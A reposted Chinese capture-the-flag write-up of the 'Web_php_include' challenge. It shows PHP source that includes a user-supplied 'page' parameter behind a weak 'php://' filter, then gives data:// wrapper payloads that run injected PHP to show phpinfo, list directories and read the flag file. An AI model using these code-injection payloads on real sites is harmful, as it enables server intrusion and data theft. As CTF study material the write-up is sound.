89,[5]攻防世界 web Web_php_include

news/2025/2/5 22:00:29/

进入靶场

php"><?php
// 显示当前 PHP 文件的源代码,方便调试或展示代码内容
show_source(__FILE__);// 从 URL 的查询字符串中获取名为 'hello' 的参数值,并将其输出到页面上
// 例如,当访问的 URL 为 "example.php?hello=world" 时,会输出 "world"
echo $_GET['hello'];// 从 URL 的查询字符串中获取名为 'page' 的参数值,并将其赋值给变量 $page
// 这个参数通常用于指定要包含的文件
$page = $_GET['page'];// 使用 while 循环来检查 $page 变量中是否包含 "php://" 字符串
// strstr 函数用于查找字符串中第一次出现指定子字符串的位置,如果找到则返回包含该子字符串及其后续部分的字符串,否则返回 false
while (strstr($page, "php://")) {// 如果 $page 中包含 "php://",则使用 str_replace 函数将 "php://" 替换为空字符串// 这一步的目的是防止用户通过构造包含 "php://" 的输入来利用 PHP 的伪协议进行攻击$page = str_replace("php://", "", $page);
}// 使用 include 函数包含 $page 变量所指定的文件
// 包含文件后,该文件的内容会被当作当前文件的一部分执行
// 注意:这里需要确保 $page 的值是安全的,否则可能会导致文件包含漏洞
include($page);
?>

 data:// 伪协议

data:// 是 PHP 中的一种伪协议,它允许我们直接将数据作为一个 “虚拟文件” 来处理。使用 data:// 伪协议的基本格式如下:

data://<mime-type>[;charset=<charset>][;base64],<data>
  • <mime-type>:指定数据的 MIME 类型,例如 text/plain 表示纯文本类型。
  • charset:可选参数,用于指定字符编码。
  • base64:可选参数,如果数据是经过 Base64 编码的,则需要指定该参数。
  • <data>:实际的数据内容。

1,

/?page=data://text/plain,<?php phpinfo()?>

  • data://:表示使用 data:// 伪协议。
  • text/plain:指定数据的 MIME 类型为纯文本。
  • ,:作为分隔符,用于分隔 MIME 类型和实际的数据内容。
  • <?php phpinfo()?>:这是实际的数据内容,它是一段 PHP 代码,当这段代码被包含并执行时,会调用 phpinfo() 函数,该函数会输出 PHP 的配置信息,包括 PHP 版本、编译选项、加载的扩展模块等详细信息。

 

2, 

目录路径

php">/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

$_SERVER['DOCUMENT_ROOT'] 是 PHP 的一个超全局变量,它存储着当前网站的根目录路径。echo 语句会将这个路径输出。

3, 

php">/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

 目的是列出 /var/www 目录下的所有文件和子目录信息

4, 

php">/?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
  • $a = file_get_contents('fl4gisisish3r3.php');file_get_contents 是 PHP 的一个函数,用于将整个文件读入一个字符串。这里尝试读取 fl4gisisish3r3.php 文件的内容,并将其赋值给变量 $a
  • echo htmlspecialchars($a);htmlspecialchars 函数将字符串中的特殊字符(如 <>& 等)转换为 HTML 实体,这样可以防止这些特殊字符在 HTML 页面中被错误解析,然后将处理后的字符串输出到页面上。


http://www.ppmy.cn/news/1569618.html

相关文章

【含文档+PPT+源码】基于微信小程序连锁药店商城

项目介绍 本课程演示的是一款基于微信小程序连锁药店商城&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。 1.包含&#xff1a;项目源码、项目文档、数据库脚本、软件工具等所有资料 2.带你从零开始部署运行本套系统 3.该项目附带的…

Docker技术相关学习二

一、Docker简介 1.Docker之父Solomon Hykes形容docker就像传统的货运集装箱。 2.docker的特点和优势&#xff1a; 轻量级虚拟化&#xff1a;Docker容器相较于传统的虚拟机更加的轻量和高效&#xff0c;能够快速的启动和停止来节省系统资源。 一致性&#xff1a;确保应用程序在不…

面试--你的数据库中密码是如何存储的?

文章目录 三种分类使用 MD5 加密存储加盐存储Base64 编码:常见的对称加密算法常见的非对称加密算法https 传输加密 在开发中需要存储用户的密码&#xff0c;这个密码一定是加密存储的&#xff0c;如果是明文存储那么如果数据库被攻击了&#xff0c;密码就泄露了。 我们要对数据…

大模型高级工程师实践 - 将课程内容转为视频

通过整合之前生成的文字、音频、PPT&#xff0c;我们能够制作出引人入胜的科普课程视频&#xff0c;使表达更加生动且多样化。本节课程将介绍如何利用音视频处理工具ffmpeg和moviepy&#xff0c;快速将课程内容转化为视频。 1. 原理介绍 当前的大模型文生视频或图生视频方案还…

基于“蘑菇书”的强化学习知识点(五):条件期望

条件期望 摘要一、条件期望的定义二、条件期望的关键性质三、条件期望的直观理解四、条件期望的应用场景五、简单例子离散情况连续情况 摘要 本系列知识点讲解基于蘑菇书EasyRL中的内容进行详细的疑难点分析&#xff01;具体内容请阅读蘑菇书EasyRL&#xff01; 对应蘑菇书Eas…

Linux_线程同步生产者消费者模型

同步的相关概念 同步&#xff1a;在保证数据安全的前提下&#xff0c;让线程能够按照某种特定的顺序访问临界资源&#xff0c;从而有效避免饥饿问题&#xff0c;叫做同步竞态条件&#xff1a;因为时序问题&#xff0c;而导致程序异常&#xff0c;我们称之为竞态条件。 同步的…

CentOs9新手教程

CentOS 9是基于RHEL的CentOS Stream版本&#xff0c;主要用于开发和测试环境&#xff0c;不适合作为生产环境的稳定系统。它提供了最新的软件和功能&#xff0c;但可能存在不稳定性和兼容性问题。如果你需要一个稳定的生产环境&#xff0c;建议使用CentOS Linux版本。 安装环境…

4 前端前置技术(中):node.js环境

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言 前言